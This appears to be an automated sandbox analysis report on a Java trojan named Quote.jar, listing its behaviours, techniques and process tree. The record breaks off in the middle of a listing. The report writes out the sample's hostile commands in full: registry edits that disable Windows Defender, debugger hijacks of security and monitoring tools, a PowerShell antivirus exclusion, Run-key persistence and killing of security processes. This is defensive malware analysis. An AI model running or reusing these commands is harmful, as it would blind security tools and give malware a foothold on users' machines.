3d1bd80e9ec2560a482520bad73232921285cf0b47af37b873f56be90498fc7e

Analysis

max time kernel
150s
max time network
152s
platform
windows10_x64
resource
win10
submitted
31-07-2020 11:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Quote.jar
Size

399KB
MD5

2f774f15add4f97cb391452846d017ab
SHA1

b530f9db4bbab82dfcd4896498cc751e639d305b
SHA256

3d1bd80e9ec2560a482520bad73232921285cf0b47af37b873f56be90498fc7e
SHA512

1a459eb9d5757d46febe9f52ce8a22a18dfaa9af80a7d385231c811df5a25a1e87637fea94d68c511c19bc9c406893c5c1acb6ff01f5b51ad0a83425c9daa150

Score

10^/10

persistence discovery evasion trojan

Malware Config

Signatures

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

java.exe

pid process

2288 java.exe
Loads dropped DLL 1 IoCs

Processes:

java.exe

pid process

2288 java.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1492 powershell.exe
1492 powershell.exe
1492 powershell.exe
Views/modifies file attributes 1 TTPs 8 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

3704 attrib.exe
976 attrib.exe
3436 attrib.exe
3212 attrib.exe
532 attrib.exe
3784 attrib.exe
3860 attrib.exe
3220 attrib.exe

pid	process
2288	java.exe

pid	process
2288	java.exe

pid	process
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe

pid	process
3704	attrib.exe
976	attrib.exe
3436	attrib.exe
3212	attrib.exe
532	attrib.exe
3784	attrib.exe
3860	attrib.exe
3220	attrib.exe

Drops desktop.ini file(s) 4 IoCs

Processes:

java.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File created	C:\Users\Admin\FVKwo\Desktop.ini	java.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\FVKwo\Desktop.ini	attrib.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of WriteProcessMemory 382 IoCs

Processes:

java.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2288 wrote to memory of 3336	2288	java.exe	cmd.exe
PID 2288 wrote to memory of 3336	2288	java.exe	cmd.exe
PID 2288 wrote to memory of 1884	2288	java.exe	cmd.exe
PID 2288 wrote to memory of 1884	2288	java.exe	cmd.exe
PID 1884 wrote to memory of 2320	1884	cmd.exe	WMIC.exe
PID 1884 wrote to memory of 2320	1884	cmd.exe	WMIC.exe
PID 2288 wrote to memory of 4048	2288	java.exe	cmd.exe
PID 2288 wrote to memory of 4048	2288	java.exe	cmd.exe
PID 4048 wrote to memory of 508	4048	cmd.exe	WMIC.exe
PID 4048 wrote to memory of 508	4048	cmd.exe	WMIC.exe
PID 2288 wrote to memory of 3784	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3784	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3860	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3860	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3220	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3220	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3704	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3704	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 976	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 976	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3436	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3436	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3212	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 3212	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 532	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 532	2288	java.exe	attrib.exe
PID 2288 wrote to memory of 1012	2288	java.exe	cmd.exe
PID 2288 wrote to memory of 1012	2288	java.exe	cmd.exe
PID 1012 wrote to memory of 1356	1012	cmd.exe	reg.exe
PID 1012 wrote to memory of 1356	1012	cmd.exe	reg.exe
PID 2288 wrote to memory of 1416	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1416	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1492	2288	java.exe	powershell.exe
PID 2288 wrote to memory of 1492	2288	java.exe	powershell.exe
PID 2288 wrote to memory of 1512	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1512	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1660	2288	java.exe	taskkill.exe
PID 2288 wrote to memory of 1660	2288	java.exe	taskkill.exe
PID 2288 wrote to memory of 1912	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1912	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2108	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2108	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2492	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2492	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3884	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3884	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3000	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3000	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3788	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3788	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3168	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3168	2288	java.exe	reg.exe
PID 1012 wrote to memory of 424	1012	cmd.exe	reg.exe
PID 1012 wrote to memory of 424	1012	cmd.exe	reg.exe
PID 2288 wrote to memory of 3688	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3688	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2040	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2040	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2656	2288	java.exe	reg.exe
PID 2288 wrote to memory of 2656	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3008	2288	java.exe	reg.exe
PID 2288 wrote to memory of 3008	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1908	2288	java.exe	reg.exe
PID 2288 wrote to memory of 1908	2288	java.exe	reg.exe

Suspicious use of AdjustPrivilegeToken 122 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2320	WMIC.exe
Token: SeSecurityPrivilege	2320	WMIC.exe
Token: SeTakeOwnershipPrivilege	2320	WMIC.exe
Token: SeLoadDriverPrivilege	2320	WMIC.exe
Token: SeSystemProfilePrivilege	2320	WMIC.exe
Token: SeSystemtimePrivilege	2320	WMIC.exe
Token: SeProfSingleProcessPrivilege	2320	WMIC.exe
Token: SeIncBasePriorityPrivilege	2320	WMIC.exe
Token: SeCreatePagefilePrivilege	2320	WMIC.exe
Token: SeBackupPrivilege	2320	WMIC.exe
Token: SeRestorePrivilege	2320	WMIC.exe
Token: SeShutdownPrivilege	2320	WMIC.exe
Token: SeDebugPrivilege	2320	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2320	WMIC.exe
Token: SeRemoteShutdownPrivilege	2320	WMIC.exe
Token: SeUndockPrivilege	2320	WMIC.exe
Token: SeManageVolumePrivilege	2320	WMIC.exe
Token: 33	2320	WMIC.exe
Token: 34	2320	WMIC.exe
Token: 35	2320	WMIC.exe
Token: 36	2320	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2320	WMIC.exe
Token: SeSecurityPrivilege	2320	WMIC.exe
Token: SeTakeOwnershipPrivilege	2320	WMIC.exe
Token: SeLoadDriverPrivilege	2320	WMIC.exe
Token: SeSystemProfilePrivilege	2320	WMIC.exe
Token: SeSystemtimePrivilege	2320	WMIC.exe
Token: SeProfSingleProcessPrivilege	2320	WMIC.exe
Token: SeIncBasePriorityPrivilege	2320	WMIC.exe
Token: SeCreatePagefilePrivilege	2320	WMIC.exe
Token: SeBackupPrivilege	2320	WMIC.exe
Token: SeRestorePrivilege	2320	WMIC.exe
Token: SeShutdownPrivilege	2320	WMIC.exe
Token: SeDebugPrivilege	2320	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2320	WMIC.exe
Token: SeRemoteShutdownPrivilege	2320	WMIC.exe
Token: SeUndockPrivilege	2320	WMIC.exe
Token: SeManageVolumePrivilege	2320	WMIC.exe
Token: 33	2320	WMIC.exe
Token: 34	2320	WMIC.exe
Token: 35	2320	WMIC.exe
Token: 36	2320	WMIC.exe
Token: SeIncreaseQuotaPrivilege	508	WMIC.exe
Token: SeSecurityPrivilege	508	WMIC.exe
Token: SeTakeOwnershipPrivilege	508	WMIC.exe
Token: SeLoadDriverPrivilege	508	WMIC.exe
Token: SeSystemProfilePrivilege	508	WMIC.exe
Token: SeSystemtimePrivilege	508	WMIC.exe
Token: SeProfSingleProcessPrivilege	508	WMIC.exe
Token: SeIncBasePriorityPrivilege	508	WMIC.exe
Token: SeCreatePagefilePrivilege	508	WMIC.exe
Token: SeBackupPrivilege	508	WMIC.exe
Token: SeRestorePrivilege	508	WMIC.exe
Token: SeShutdownPrivilege	508	WMIC.exe
Token: SeDebugPrivilege	508	WMIC.exe
Token: SeSystemEnvironmentPrivilege	508	WMIC.exe
Token: SeRemoteShutdownPrivilege	508	WMIC.exe
Token: SeUndockPrivilege	508	WMIC.exe
Token: SeManageVolumePrivilege	508	WMIC.exe
Token: 33	508	WMIC.exe
Token: 34	508	WMIC.exe
Token: 35	508	WMIC.exe
Token: 36	508	WMIC.exe
Token: SeIncreaseQuotaPrivilege	508	WMIC.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

java.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run	java.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\DsGIILk = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\FVKwo\\WbZqr.class\""	java.exe

Kills process with taskkill 16 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
584	taskkill.exe
4712	taskkill.exe
4860	taskkill.exe
4960	taskkill.exe
4264	taskkill.exe
1660	taskkill.exe
68	taskkill.exe
4504	taskkill.exe
4628	taskkill.exe
5080	taskkill.exe
4100	taskkill.exe
4140	taskkill.exe
4776	taskkill.exe
1204	taskkill.exe
2792	taskkill.exe
4728	taskkill.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Drops file in System32 directory 2 IoCs

Processes:

java.exe

description ioc process

File created C:\Windows\System32\UjBcG java.exe
File opened for modification C:\Windows\System32\UjBcG java.exe

description	ioc	process
File created	C:\Windows\System32\UjBcG	java.exe
File opened for modification	C:\Windows\System32\UjBcG	java.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Quote.jar
1⤵
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
- Drops desktop.ini file(s)
- Suspicious use of WriteProcessMemory
- Adds Run key to start application
- Drops file in System32 directory
PID:2288

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3336

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1884

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2320

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:4048

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:508

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\Oracle
2⤵
- Views/modifies file attributes
PID:3784

C:\Windows\SYSTEM32\attrib.exe
attrib +h +r +s C:\Users\Admin\.ntusernt.ini
2⤵
- Views/modifies file attributes
PID:3860

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:3220

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo\Desktop.ini
2⤵
- Views/modifies file attributes
- Drops desktop.ini file(s)
PID:3704

C:\Windows\SYSTEM32\attrib.exe
attrib -s -r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:976

C:\Windows\SYSTEM32\attrib.exe
attrib +s +r C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:3436

C:\Windows\SYSTEM32\attrib.exe
attrib +h C:\Users\Admin\FVKwo
2⤵
- Views/modifies file attributes
PID:3212

C:\Windows\SYSTEM32\attrib.exe
attrib +h +s +r C:\Users\Admin\FVKwo\WbZqr.class
2⤵
- Views/modifies file attributes
PID:532

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:1356

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:424

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:1416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\FVKwo','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\FVKwo\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1492

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1512

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F
2⤵
- Kills process with taskkill
PID:1660

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
PID:1912

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2108

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
PID:2492

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3884

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3000

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
PID:3788

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3168

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3688

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2040

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2656

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3008

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:1908

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2816

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3800

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3004

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3000

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
3⤵
PID:2968

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
3⤵
PID:1440

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:2128

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3884

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
PID:3772

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:1204

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2652

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
PID:3800

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
PID:3936

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:412

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
PID:2656

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:3808

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3776

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:3820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:3512

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3784

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:1248

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:3392

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3788

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:4016

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:1640

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1852

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:3864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:3408

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:1828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:3764

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:2792

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:68

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:3968

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:472

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1816

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:3392

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:1832

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1096

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:3864

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:652

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:1736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:3816

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3404

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:1440

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:2140

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2112

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
PID:1416

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:3004

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2816

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
PID:1436

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:1664

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:584

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3108

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:1356

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:3604

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3512

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
3⤵
PID:2792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
3⤵
PID:4016

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3376

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:752

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:3688

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3868

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
PID:1640

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:3392

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1240

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:2140

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:3688

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
PID:2808

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
